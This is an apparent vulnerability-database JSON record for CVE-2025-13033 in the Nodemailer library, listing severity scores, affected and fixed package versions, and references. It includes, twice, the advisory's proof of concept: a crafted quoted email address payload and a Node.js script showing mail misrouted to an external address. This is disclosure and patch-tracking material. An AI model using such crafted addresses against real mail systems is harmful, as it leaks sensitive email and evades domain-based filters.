{"id":"CVE-2025-13033","aliases":["CLSA-2026-1775003161","CLSA-2026-1775003162","DEBIAN-CVE-2025-13033","EUVD-2025-32092","GHSA-9h6g-pr28-7cqp","GHSA-mm7p-fcc7-pg87","GHSA-rcmh-qjqh-p98v","ROOT-APP-NPM-CVE-2025-13033","UBUNTU-CVE-2025-13033"],"status":"published","title":"Nodemailer: nodemailer: email to an unintended domain can occur due to interpretation conflict","description":"A vulnerability was identified in the email parsing library due to improper handling of specially formatted recipient email addresses. An attacker can exploit this flaw by crafting a recipient address that embeds an external address within quotes. This causes the application to misdirect the email to the attacker's external address instead of the intended internal recipient. This could lead to a significant data leak of sensitive information and allow an attacker to bypass security filters and access controls.","severity":{"version":"3.1","score":7.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N","level":"high","assessor":"cna","from":"cve"},"epss":{"day":"2026-11-12","score":0.00575,"percentile":0.47935,"model":"v2026.06.15"},"facts":{"in_kev":false,"known_exploited":false,"public_exploit":false,"fix_available":true},"cwes":["CWE-1286","CWE-20","CWE-436"],"published":"2025-10-07T13:42:02Z","modified":"2026-10-28T02:30:50Z","fixes":[{"ecosystem":"npm","package":"nodemailer","fixed_in":["7.0.7"],"sources":["ghsa","osv"]},{"ecosystem":"TuxCare:npm","package":"nodemailer","fixed_in":["6.10.1-tuxcare.1"],"sources":["osv"]},{"ecosystem":"Debian:13","package":"node-nodemailer","fixed_in":["6.10.0+~6.4.17-1+deb13u1"],"sources":["osv"]},{"ecosystem":"Debian:14","package":"node-nodemailer","fixed_in":["7.0.9+~7.0.2-1"],"sources":["osv"]},{"ecosystem":"Root:npm","package":"nodemailer","fixed_in":["6.10.1-aikido.10","6.10.1-aikido.11","6.10.1-aikido.12","6.10.1-aikido.9","6.9.15-aikido.4","6.10.1-aikido.8","6.10.1-aikido.3","6.10.1-aikido.4","6.10.1-aikido.5","6.10.1-aikido.6","6.10.1-aikido.13","6.10.1-aikido.14"],"sources":["osv"]},{"ecosystem":"Root:npm","package":"@rootio/nodemailer","fixed_in":["6.10.1-root.io.10","6.9.15-root.io.2","6.10.1-root.io.11","6.9.15-root.io.3","6.10.1-root.io.12","6.10.1-root.io.9","6.9.15-root.io.4","6.10.1-root.io.8","6.10.1-root.io.3","6.10.1-root.io.4","6.10.1-root.io.5","6.10.1-root.io.6","6.10.1-root.io.13","6.10.1-root.io.14"],"sources":["osv"]}],"affected":[{"source":"ghsa","ecosystem":"npm","package":"nodemailer","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"7.0.7"}]}]},{"source":"osv","ecosystem":"TuxCare:npm","package":"nodemailer","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"2.7.2-tuxcare.0"},{"fixed":"2.7.2-tuxcare.1"}]}],"versions":["2.7.2"],"bundled":4},{"source":"osv","ecosystem":"TuxCare:npm","package":"nodemailer","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"6.10.1-tuxcare.0"},{"fixed":"6.10.1-tuxcare.1"}]}],"versions":["6.10.1"]},{"source":"osv","ecosystem":"Debian:12","package":"node-nodemailer","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"versions":["10.0.0+~8.0.1-1","10.0.10+~8.0.1-1","10.0.10+~8.0.2-1","10.0.13+~8.0.2-1","10.0.14+~8.0.2-1","10.1.7+~8.0.2-1","6.10.0+~6.4.17-1","6.8.0+~6.4.6-1","6.9.13+~6.4.14-1","6.9.15+~6.4.16-1","6.9.16+~6.4.16-1","6.9.4+~6.4.9-1","6.9.4+~6.4.9-2","6.9.4+~6.4.9-3","6.9.4+~6.4.9-4","7.0.10+~7.0.2-1","7.0.12+~7.0.5-1","7.0.5+~7.0.1-1","7.0.6+~7.0.1-1","7.0.9+~7.0.2-1","7.0.9+~7.0.2-2","8.0.11+~8.0.1-1","8.0.2+~7.0.11-1","8.0.3+~7.0.11-1","8.0.4+~7.0.11-1","8.0.4+~7.0.11-2","9.0.0+~8.0.1-1","9.0.3+~8.0.1-1","9.0.5+~8.0.1-1","9.0.6+~8.0.1-1"]},{"source":"osv","ecosystem":"Debian:13","package":"node-nodemailer","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"6.10.0+~6.4.17-1+deb13u1"}]}],"versions":["6.10.0+~6.4.17-1"]},{"source":"osv","ecosystem":"Debian:14","package":"node-nodemailer","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"7.0.9+~7.0.2-1"}]}],"versions":["6.10.0+~6.4.17-1","7.0.5+~7.0.1-1","7.0.6+~7.0.1-1"]},{"source":"osv","ecosystem":"npm","package":"nodemailer","ranges":[{"type":"SEMVER","events":[{"introduced":"0"},{"fixed":"7.0.7"}]}]},{"source":"osv","ecosystem":"Root:npm","package":"nodemailer","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"6.10.1-aikido.10"},{"fixed":"6.10.1-aikido.11"},{"fixed":"6.10.1-aikido.12"},{"fixed":"6.10.1-aikido.9"},{"fixed":"6.9.15-aikido.4"},{"fixed":"6.10.1-aikido.8"},{"fixed":"6.10.1-aikido.3"},{"fixed":"6.10.1-aikido.4"},{"fixed":"6.10.1-aikido.5"},{"fixed":"6.10.1-aikido.6"},{"fixed":"6.10.1-aikido.13"},{"fixed":"6.10.1-aikido.14"}]}]},{"source":"osv","ecosystem":"Root:npm","package":"@rootio/nodemailer","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"6.10.1-root.io.10"},{"fixed":"6.9.15-root.io.2"},{"fixed":"6.10.1-root.io.11"},{"fixed":"6.9.15-root.io.3"},{"fixed":"6.10.1-root.io.12"},{"fixed":"6.10.1-root.io.9"},{"fixed":"6.9.15-root.io.4"},{"fixed":"6.10.1-root.io.8"},{"fixed":"6.10.1-root.io.3"},{"fixed":"6.10.1-root.io.4"},{"fixed":"6.10.1-root.io.5"},{"fixed":"6.10.1-root.io.6"},{"fixed":"6.10.1-root.io.13"},{"fixed":"6.10.1-root.io.14"}]}]},{"source":"osv","ecosystem":"Ubuntu:20.04:LTS","package":"node-nodemailer","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"versions":["6.3.0-2","6.3.1-1","6.4.0-1","6.4.1-1","6.4.2-1","6.4.5-1"]},{"source":"osv","ecosystem":"Ubuntu:22.04:LTS","package":"node-nodemailer","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"versions":["6.4.17-3","6.7.0-1","6.7.0-2","6.7.1+~6.4.4-1"]},{"source":"osv","ecosystem":"Ubuntu:24.04:LTS","package":"node-nodemailer","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"versions":["6.9.4+~6.4.9-2","6.9.4+~6.4.9-3ubuntu1","6.9.4+~6.4.9-4"]},{"source":"osv","ecosystem":"Ubuntu:25.10","package":"node-nodemailer","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"versions":["6.10.0+~6.4.17-1","7.0.5+~7.0.1-1"]}],"products":[{"vendor":"nodemailer","product":"nodemailer"},{"vendor":"red hat","product":"red hat advanced cluster management for kubernetes 2"},{"vendor":"red hat","product":"red hat ceph storage 8.1"},{"vendor":"red hat","product":"red hat developer hub 1.9"}],"references":[{"url":"https://access.redhat.com/errata/RHSA-2026:15979","tags":["vendor-advisory","x_refsource_REDHAT","advisory"]},{"url":"https://access.redhat.com/errata/RHSA-2026:3751","tags":["vendor-advisory","x_refsource_REDHAT","advisory"]},{"url":"https://access.redhat.com/security/cve/CVE-2025-13033","tags":["vdb-entry","x_refsource_REDHAT","advisory","web","report"]},{"url":"https://bugzilla.redhat.com/show_bug.cgi?id=2402179","tags":["issue-tracking","x_refsource_REDHAT","report","web"]},{"url":"https://github.com/nodemailer/nodemailer","tags":["package","report"]},{"url":"https://github.com/nodemailer/nodemailer/commit/1150d99fba77280df2cfb1885c43df23109a8626","tags":["fix","web","report"]},{"url":"https://github.com/nodemailer/nodemailer/security/advisories/GHSA-mm7p-fcc7-pg87","tags":["advisory","web","report"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2025-13033","tags":["advisory"]},{"url":"https://github.com/advisories/GHSA-mm7p-fcc7-pg87"},{"url":"https://access.redhat.com/downloads/content/package-browser/","tags":["web"]},{"url":"https://catalog.redhat.com/software/containers/","tags":["web"]},{"url":"https://github.com/CVEProject/cvelistV5/tree/main/cves/2025/13xxx/CVE-2025-13033.json","tags":["advisory"]},{"url":"https://security-tracker.debian.org/tracker/CVE-2025-13033","tags":["advisory"]},{"url":"https://ubuntu.com/security/CVE-2025-13033","tags":["report"]},{"url":"https://www.cve.org/CVERecord?id=CVE-2025-13033","tags":["report"]}],"sources":{"cve":[{"id":"CVE-2025-13033","title":"Nodemailer: nodemailer: email to an unintended domain can occur due to interpretation conflict","description":"A vulnerability was identified in the email parsing library due to improper handling of specially formatted recipient email addresses. An attacker can exploit this flaw by crafting a recipient address that embeds an external address within quotes. This causes the application to misdirect the email to the attacker's external address instead of the intended internal recipient. This could lead to a significant data leak of sensitive information and allow an attacker to bypass security filters and access controls.","status":"published","published":"2025-11-14T19:37:08.224Z","modified":"2026-05-11T11:26:36.924Z","cvss":[{"version":"3.1","score":7.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N","level":"high","assessor":"cna"}],"cwes":["CWE-1286"],"updated_at":"2026-11-02T14:32:43.437394Z"}],"euvd":[{"id":"EUVD-2025-32092","description":"A vulnerability was identified in the email parsing library due to improper handling of specially formatted recipient email addresses. An attacker can exploit this flaw by crafting a recipient address that embeds an external address within quotes. This causes the application to misdirect the email to the attacker's external address instead of the intended internal recipient. This could lead to a significant data leak of sensitive information and allow an attacker to bypass security filters and access controls.","status":"published","published":"2025-11-14T19:37:08Z","modified":"2026-05-11T11:26:36Z","cvss":[{"version":"3.1","score":7.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N","level":"high"}],"updated_at":"2026-11-02T19:05:13.690762Z"}],"ghsa":[{"id":"GHSA-mm7p-fcc7-pg87","title":"Nodemailer: Email to an unintended domain can occur due to Interpretation Conflict","description":"The email parsing library incorrectly handles quoted local-parts containing @. This leads to misrouting of email recipients, where the parser extracts and routes to an unintended domain instead of the RFC-compliant target.\n\nPayload: `\"xclow3n@gmail.com x\"@internal.domain`\nUsing the following code to send mail\n```\nconst nodemailer = require(\"nodemailer\");\n\nlet transporter = nodemailer.createTransport({\n  service: \"gmail\",\n  auth: {\n    user: \"\",\n    pass: \"\",\n  },\n});\n\nlet mailOptions = {\n  from: '\"Test Sender\" \u003cyour_email@gmail.com\u003e', \n  to: \"\\\"xclow3n@gmail.com x\\\"@internal.domain\",\n  subject: \"Hello from Nodemailer\",\n  text: \"This is a test email sent using Gmail SMTP and Nodemailer!\",\n};\n\ntransporter.sendMail(mailOptions, (error, info) =\u003e {\n  if (error) {\n    return console.log(\"Error: \", error);\n  }\n  console.log(\"Message sent: %s\", info.messageId);\n\n});\n\n\n(async () =\u003e {\n  const parser = await import(\"@sparser/email-address-parser\");\n  const { EmailAddress, ParsingOptions } = parser.default;\n  const parsed = EmailAddress.parse(mailOptions.to /*, new ParsingOptions(true) */);\n\n  if (!parsed) {\n    console.error(\"Invalid email address:\", mailOptions.to);\n    return;\n  }\n\n  console.log(\"Parsed email:\", {\n    address: `${parsed.localPart}@${parsed.domain}`,\n    local: parsed.localPart,\n    domain: parsed.domain,\n  });\n})();\n```\n\nRunning the script and seeing how this mail is parsed according to RFC\n\n```\nParsed email: {\n  address: '\"xclow3n@gmail.com x\"@internal.domain',\n  local: '\"xclow3n@gmail.com x\"',\n  domain: 'internal.domain'\n}\n```\n\nBut the email is sent to `xclow3n@gmail.com`\n\n\u003cimg width=\"2128\" height=\"439\" alt=\"Image\" src=\"https://github.com/user-attachments/assets/20eb459c-9803-45a2-b30e-5d1177d60a8d\" /\u003e\n\n\n### Impact:\n\n-    Misdelivery / Data leakage: Email is sent to psres.net instead of test.com.\n\n-    Filter evasion: Logs and anti-spam systems may be bypassed by hiding recipients inside quoted local-parts.\n\n-    Potential compliance issue: Violates RFC 5321/5322 parsing rules.\n\n-    Domain based access control bypass in downstream applications using your library to send mails\n\n### Recommendations\n\n-    Fix parser to correctly treat quoted local-parts per RFC 5321/5322.\n\n-    Add strict validation rejecting local-parts containing embedded @ unless fully compliant with quoting.","status":"published","published":"2025-10-07T13:42:02Z","modified":"2025-11-17T17:29:27Z","cvss":[{"version":"4.0","score":5.5,"vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N/E:P","level":"medium"}],"cwes":["CWE-20","CWE-436"],"updated_at":"2026-11-02T14:39:08.983925Z"}],"nvd":[{"id":"CVE-2025-13033","description":"A vulnerability was identified in the email parsing library due to improper handling of specially formatted recipient email addresses. An attacker can exploit this flaw by crafting a recipient address that embeds an external address within quotes. This causes the application to misdirect the email to the attacker's external address instead of the intended internal recipient. This could lead to a significant data leak of sensitive information and allow an attacker to bypass security filters and access controls.","status":"published","published":"2025-11-14T20:15:45.957Z","modified":"2026-10-18T20:10:00.11Z","cvss":[{"version":"3.1","score":7.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N","level":"high","assessor":"secondary"}],"cwes":["CWE-1286"],"updated_at":"2026-11-02T14:11:44.669367Z"}],"osv":[{"id":"CVE-2025-13033","title":"Nodemailer: nodemailer: email to an unintended domain can occur due to interpretation conflict","description":"A vulnerability was identified in the email parsing library due to improper handling of specially formatted recipient email addresses. An attacker can exploit this flaw by crafting a recipient address that embeds an external address within quotes. This causes the application to misdirect the email to the attacker's external address instead of the intended internal recipient. This could lead to a significant data leak of sensitive information and allow an attacker to bypass security filters and access controls.","status":"published","published":"2025-11-14T19:37:08.224Z","modified":"2026-10-28T02:30:50.580411548Z","cvss":[{"version":"3.1","score":7.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N","level":"high"}],"cwes":["CWE-1286"],"updated_at":"2026-11-02T15:44:46.024537Z"},{"id":"DEBIAN-CVE-2025-13033","description":"A vulnerability was identified in the email parsing library due to improper handling of specially formatted recipient email addresses. An attacker can exploit this flaw by crafting a recipient address that embeds an external address within quotes. This causes the application to misdirect the email to the attacker's external address instead of the intended internal recipient. This could lead to a significant data leak of sensitive information and allow an attacker to bypass security filters and access controls.","status":"published","published":"2025-11-14T20:15:45.957Z","modified":"2026-10-23T18:04:33.370470276Z","cvss":[{"version":"3.1","score":7.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N","level":"high"}],"updated_at":"2026-11-02T15:45:45.102284Z"},{"id":"GHSA-mm7p-fcc7-pg87","title":"Nodemailer: Email to an unintended domain can occur due to Interpretation Conflict","description":"The email parsing library incorrectly handles quoted local-parts containing @. This leads to misrouting of email recipients, where the parser extracts and routes to an unintended domain instead of the RFC-compliant target.\n\nPayload: `\"xclow3n@gmail.com x\"@internal.domain`\nUsing the following code to send mail\n```\nconst nodemailer = require(\"nodemailer\");\n\nlet transporter = nodemailer.createTransport({\n  service: \"gmail\",\n  auth: {\n    user: \"\",\n    pass: \"\",\n  },\n});\n\nlet mailOptions = {\n  from: '\"Test Sender\" \u003cyour_email@gmail.com\u003e', \n  to: \"\\\"xclow3n@gmail.com x\\\"@internal.domain\",\n  subject: \"Hello from Nodemailer\",\n  text: \"This is a test email sent using Gmail SMTP and Nodemailer!\",\n};\n\ntransporter.sendMail(mailOptions, (error, info) =\u003e {\n  if (error) {\n    return console.log(\"Error: \", error);\n  }\n  console.log(\"Message sent: %s\", info.messageId);\n\n});\n\n\n(async () =\u003e {\n  const parser = await import(\"@sparser/email-address-parser\");\n  const { EmailAddress, ParsingOptions } = parser.default;\n  const parsed = EmailAddress.parse(mailOptions.to /*, new ParsingOptions(true) */);\n\n  if (!parsed) {\n    console.error(\"Invalid email address:\", mailOptions.to);\n    return;\n  }\n\n  console.log(\"Parsed email:\", {\n    address: `${parsed.localPart}@${parsed.domain}`,\n    local: parsed.localPart,\n    domain: parsed.domain,\n  });\n})();\n```\n\nRunning the script and seeing how this mail is parsed according to RFC\n\n```\nParsed email: {\n  address: '\"xclow3n@gmail.com x\"@internal.domain',\n  local: '\"xclow3n@gmail.com x\"',\n  domain: 'internal.domain'\n}\n```\n\nBut the email is sent to `xclow3n@gmail.com`\n\n\u003cimg width=\"2128\" height=\"439\" alt=\"Image\" src=\"https://github.com/user-attachments/assets/20eb459c-9803-45a2-b30e-5d1177d60a8d\" /\u003e\n\n\n### Impact:\n\n-    Misdelivery / Data leakage: Email is sent to psres.net instead of test.com.\n\n-    Filter evasion: Logs and anti-spam systems may be bypassed by hiding recipients inside quoted local-parts.\n\n-    Potential compliance issue: Violates RFC 5321/5322 parsing rules.\n\n-    Domain based access control bypass in downstream applications using your library to send mails\n\n### Recommendations\n\n-    Fix parser to correctly treat quoted local-parts per RFC 5321/5322.\n\n-    Add strict validation rejecting local-parts containing embedded @ unless fully compliant with quoting.","status":"published","published":"2025-10-07T13:42:02Z","modified":"2026-09-10T03:50:30.113440777Z","cvss":[{"version":"4.0","score":5.5,"vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N/E:P","level":"medium"}],"cwes":["CWE-20","CWE-436"],"updated_at":"2026-11-02T15:46:52.170928Z"},{"id":"ROOT-APP-NPM-CVE-2025-13033","title":"CVE-2025-13033 in nodemailer - Patched by Root","description":"Root has patched CVE-2025-13033 in the nodemailer package for Root:npm. Multiple fixed versions available.","status":"published","published":"2026-10-19T13:20:22Z","modified":"2026-10-19T14:15:11.219027948Z","cvss":[{"version":"3.1","score":7.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N","level":"high"}],"updated_at":"2026-11-02T15:53:27.362922Z"},{"id":"UBUNTU-CVE-2025-13033","description":"A vulnerability was identified in the email parsing library due to improper handling of specially formatted recipient email addresses. An attacker can exploit this flaw by crafting a recipient address that embeds an external address within quotes. This causes the application to misdirect the email to the attacker's external address instead of the intended internal recipient. This could lead to a significant data leak of sensitive information and allow an attacker to bypass security filters and access controls.","status":"published","published":"2025-11-14T20:15:00Z","modified":"2026-01-20T19:01:18.198204Z","cvss":[{"version":"3.1","score":7.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N","level":"high"}],"updated_at":"2026-11-02T16:55:20.144818Z"},{"id":"CLSA-2026-1775003161","title":"TuxCare security update for nodemailer (6 CVEs)","description":"TuxCare rebuilt nodemailer to address 6 CVEs. Fixed in 2.7.2-tuxcare.1.","status":"published","published":"2026-08-04T14:52:18Z","modified":"2026-10-15T09:47:49.355745173Z","updated_at":"2026-11-02T15:43:44.009773Z"},{"id":"CLSA-2026-1775003162","title":"TuxCare security update for nodemailer (1 CVE)","description":"TuxCare rebuilt nodemailer to address 1 CVE. Fixed in 6.10.1-tuxcare.1.","status":"published","published":"2026-08-04T14:52:18Z","modified":"2026-10-15T09:47:48.829301796Z","updated_at":"2026-11-02T15:43:44.009773Z"}]}}